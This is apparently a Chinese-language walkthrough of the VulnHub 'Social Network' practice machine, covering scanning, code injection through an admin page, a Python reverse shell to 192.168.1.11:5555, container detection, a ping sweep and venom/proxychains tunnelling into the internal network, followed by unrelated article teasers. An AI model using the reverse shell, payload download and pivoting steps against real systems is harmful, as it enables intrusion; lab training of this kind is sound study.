白帽学苑-内网渗测靶机训练(1)

本文对应靶机地址:

BoredHackerBlog: Social Network ~ VulnHub


涉及知识点:

  1. 主机发现
  2. 端口扫描
  3. 服务发现
  4. 路径爬取
  5. 代码注入
  6. Shell脚本
  7. 内网信息收集
  8. 内网穿透
  9. 漏洞利用
  10. 密码破解
  11. 本地提权
  12. 攻击代码修改

将靶机导入虚拟机中,桥接模式,直接开测(本次练习涉及目标机以及攻击机,目标机为乌班图,攻击机为kali)


启动kali后对同网段主机进行扫描

62ee13ad40a349e29d2b1dbe8ebd1993.png

 

 猜测1.9为目标机,扫描其开放端口

c1427e79e21a4f01b071a83b12316ec6.png

常见有22、443、8080、8083、3306

 发现目标确为vb上开的靶机,并开放22、5000端口,5000比较不常见,扫描一下用途

b3142bd9fc704eba867f67e349d4f308.png

 得知目标为ubuntu系统,5000端口基于python服务,访问看看。

e2e8404fd27d4cebaf9fc663fc8d544d.png

 简陋的一批,dirsearch扫一下看看

6b5650d112b2401a9cfc9864c6ec2e4e.png

 路径中存在admin

09a01672d02d4c3c911936a0d4e804ba.png

 访问后发现是一个执行代码的页面,已知目标基于python服务,找个反弹shell的脚本,在攻击机上开启监听

 

4a05fd6718c74e198774533d3c75bab9.png

 ad2c869af29c46fd92f522ddda150428.png

 把里面的IP改一下

1c8bb1d4baf9400e8b91d68fb5af78a1.png

 例如我的就是:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

有可能不弹,换shell,换命令多试几次

同时在攻击机上开启监听(我这里已经提交一次了)

nc -lvp 5555

拿到root权限bcb02e93e6c747fa82c2b3f4734b7b04.png

 但是

有点诡异,官网中阐明,这是一个中等难度的靶机。那怎么可能一个洞就能拿到。

啧,有点后背发凉。

ls看一下,发现问题了。

ea314eaf308a466ab8929c42c8d165ae.png

发现一个叫Dockerfile的文件,这文件是用来干啥的呢?0b214bfcdaed493290778885094e6a0b.png

 d21eb44a9f994746b1725feef20d1e05.png

这说明啥。

说明透进来的不过是一个隔离容器。

咋看出来的?查看路径中的文件,如果存在.dockerenv,那么99.9%说明透进来的是一个容器。

2f7a7fad54ab477d8a02400ba63ddc40.png

但就算是一个隔离容器,也相当于我们拥有了一台内网的机器。

ip a查看一下内网中的主机

 2aff829c9278450da666496c7ab212c6.png

 下面进行内网的主机发现

即使用ping命令,对网段内每一个地址ping一下,观察回显

  • ping 172.17.0.1
  • ping 172.17.0.2
  • ping 172.17.0.3
  • ping 172.17.0.4
  • .........

但是由于该网段的子网掩码为16位,所以理论上存在65535个IP,由此,手动ping肯定不行。

那写个循环试试

72b68cda47c54bc3be77465f80163194.png

 简单看前10个IP,只有1、2、3的丢包率为0,所以先对它们进行扫描

 

 接下来,对扫描出来的IP地址进行端口扫描。但是如果我们想用kali上的工具进行扫描多少会产生点问题。

原因在于kali无法进入内网

9cec5367eae7452baba0108affcb39c2.png

 

所以,接下来计划内网穿透,打通kali攻击机到目标路由间的隧道。

 

使用venom。文件给各位存完了

https://h-z.lanzoum.com/idh5p13kcxlg
密码:9bof

 为了方便后续传到被攻击机上,将linux_x64重命名成a,开启venom的监听

19cc23ef3ae3403daba47ec94ee541b1.png

 那接下来要做啥呢,把a传到被攻击机上。

进入venom,用python3开一个80 http服务

python3 -m http.server 80

 进入被攻击机通过wget http://192.168.1.11/a下载a到被攻击机上

b73dca4fd90746b79e10ac1a3a2ebe28.png

通过

chmod +x a

赋予其权限

通过

2b7095b5208d4ffca9b2142ce1f18f78.png

 进行连接。

kali这边也接到成功的通知了,show看看,发现有个节点,goto一下,开一个socks侦听

96766b31b4044b2aaadd3cc103e0f57f.png

 进另一个窗口,为了让kali上的所有工具可以通过代理访问内网网段每个IP,需要使用proxychains4。

执行sudo  vi /etc/proxychains4.conf   

ea51a8820fc844a1ad1dbcd34250b0a5.png

 光标划到最下方改配置

a32e657954cd48a5b86536c50015c9fd.png

 

改完之后kali上的工具就可以访问到内网的IP了,用nmap扫一下

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/141637.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于springboot会员制医疗预约服务管理信息系统springboot017

大家好✌!我是CZ淡陌。一名专注以理论为基础实战为主的技术博主,将再这里为大家分享优质的实战项目,本人在Java毕业设计领域有多年的经验,陆续会更新更多优质的Java实战项目,希望你能有所收获,少走一些弯路…

Mysql编译安装和yum安装

一、msql数据库介绍 1、什么是sql sql代表结构化查询语言,sql是用于访问数据库的标椎化语言 sql包含三个部分 DDL数据定义语言包含定义数据库及其对象的语言,例如表,视图,触发器,存储过程等 DML数据操作语言包含允许数…

pytorch迁移学习训练图像分类

pytorch迁移学习训练图像分类 一、环境配置二、迁移学习关键代码三、完整代码四、结果对比 代码和图片等资源均来源于哔哩哔哩up主:同济子豪兄 讲解视频:Pytorch迁移学习训练自己的图像分类模型 一、环境配置 1,安装所需的包 pip install …

【深度学习实验】卷积神经网络(一):卷积运算及其Pytorch实现(一维卷积:窄卷积、宽卷积、等宽卷积;二维卷积)

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 1. 一维卷积 a. 概念 b. 示例 c. 分类 窄卷积(Narrow Convolution) 宽卷积(Wide Convolution) 等宽卷积(Same Convolution&am…

Python开发与应用实验2 | Python基础语法应用

*本文是博主对学校专业课Python各种实验的再整理与详解,除了代码部分和解析部分,一些题目还增加了拓展部分(⭐)。拓展部分不是实验报告中原有的内容,而是博主本人自己的补充,以方便大家额外学习、参考。 &a…

Python3 如何实现 websocket 服务?

Python 实现 websocket 服务很简单,有很多的三方包可以用,我从网上大概找到三种常用的包:websocket、websockets、Flask-Sockets。 但这些包很多都“年久失修”, 比如 websocket 在 2010 年就不维护了。 而 Flask-Sockets 也在 2…

通信协议:Uart的Verilog实现(上)

1、前言 调制解调器是主机/设备与串行数据通路之间的接口,以串行单比特格式发送和接收数据。它也被称为通用异步收发器(Uart, Universal Asynchronous Receiver/Transmitter),这表明该设备能够接收和发送数据,并且发送和接收单元不同步。 本节…

递归算法讲解,深度理解递归

首先最重要的就是要说明递归思想的作用,在后面学习的高级数据接口,树和图中,都需要用到递归,即深度优先搜索,如果递归掌握的不好,后面的数据结构将举步为艰。 加油 首先看下如何下面两个方法有什么区别&a…

git revert 撤销之前的提交

git revert 用来撤销之前的提交,它会生成一个新的 commit id 。 输入 git revert --help 可以看到帮忙信息。 git revert commitID 不编辑新的 commit 说明 git log 找到需要撤销的 commitID , 然后执行 git revert commitID ,会提示如下…

Allegro如何将丝印文字Change到任意层面操作指导

Allegro如何将丝印文字Change到任意层面操作指导 在用Allegro进行PCB设计的时候,有时需要将丝印文字change到其它层面,如下图 可以看到丝印文字是属于REFDES这个Class的 如果需要把丝印文字change层面,只支持REFDES中以下的层面中来change

入门级制作电子期刊的网站推荐

随着数字化时代的到来,越来越多的人开始尝试制作自己的电子期刊。如果你也是其中的一员,那么这篇文章可以帮助你制作电子期刊。无论是初学者还是有一定经验的制作者,都能快速完成高质量的电子期刊制作 小编经常使用的工具是-----FLBOOK在线制…

95 # express 二级路由的实现

上一节实现了兼容老的路由写法,这一节来实现二级路由 二级路由实现核心: 进入中间件后,让对应的路由系统去进行匹配操作中间件进去匹配需要删除 path,存起来出去时在加上 示意图: 代码实现如下: rout…

ASCII码-对照表

ASCII 1> ASCII 控制字符2> ASCII 显示字符3> 常用ASCII码3.1> 【CR】\r 回车符3.2> 【LF】\n 换行符3.3> 不同操作系统,文件中换行 1> ASCII 控制字符 2> ASCII 显示字符 3> 常用ASCII码 3.1> 【CR】‘\r’ 回车符 CR Carriage Re…

安装OpenSearch

title: “安装opensearch” createTime: 2021-11-30T19:13:4508:00 updateTime: 2021-11-30T19:13:4508:00 draft: false author: “name” tags: [“es”,“安装”] categories: [“OpenSearch”] description: “测试的” 说明 基于Elasticsearch7.10.2 的 opensearch-1.1.…

arcgis搭建离线地图服务WMTS

Arcgis搭建离线地图服务WMTS 发布时间:2021-03-04 版权: ARCGIS搭建离线地图服务器,进行离线地图二次开发 2. 离线地图服务发布(WMTS服务) (详细教程:卫星地图_高清卫星地图_地图编辑_离线地…

商品秒杀系统整理

1、使用redis缓存商品信息 2、互斥锁解决缓存击穿问题,用缓存空值解决缓存穿透问题。 3、CAS乐观锁解决秒杀超卖的问题 4、使用redission实现一人一单。(分布式锁lua)脚本。 5、使用lua脚本进行秒杀资格判断(将库存和用户下单…

jupyter notebook进不去指定目录怎么办?

首先激活你要使用的虚拟环境 刚开始是现在 (base) C:\Users\lenovo>目录下 直接输入你想进入的盘 (base) C:\Users\lenovo>e:此时再cd (base) C:\Users\lenovo>cd E:\tim\learn_pytorch 就可以进入了 安装3.4.1.15问题 已经有了最新python版本的虚拟环境&#…

【实战项目之个人博客】

目录 项目背景 项目技术栈 项目介绍 项目亮点 项目启动 1.创建SSM(省略) 2.配置项目信息 3.将前端页面加入到项目中 4.初始化数据库 5.创建标准分层的目录 6.创建和编写项目中的公共代码以及常用配置 7.创建和编写业务的Entity、Mapper、…

GE IS220PVIBH1A 336A4940CSP16 电源模块

GE IS220PVIBH1A 336A4940CSP16 电源模块是通用电气(GE)的一种电源模块,用于工业控制和电力系统中,提供电源供应和保护功能。以下是这种类型电源模块的一般特点和功能: 电源供应:GE IS220PVIBH1A 336A4940C…

电脑WIFI突然消失

文章目录 1. 现象2. 解决办法1:重新启用无线网卡设置3. 解决办法2:更新无线网卡驱动4. 解决办法3:释放静电5. 解决办法4:拆机并重新插拔无线网卡 1. 现象 如下图:电脑在使用过程中WIFI消失 设备管理器中的无线网卡驱…